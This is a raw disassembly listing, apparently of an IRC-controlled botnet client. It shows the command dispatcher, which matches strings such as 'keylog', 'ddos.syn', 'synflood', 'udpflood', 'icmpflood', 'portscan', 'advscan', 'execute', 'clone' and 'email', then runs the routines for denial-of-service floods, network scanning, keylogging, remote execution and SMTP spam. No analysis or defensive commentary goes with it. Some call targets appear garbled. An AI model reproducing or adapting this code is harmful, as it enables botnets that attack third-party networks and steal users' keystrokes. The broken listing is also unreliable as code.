		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
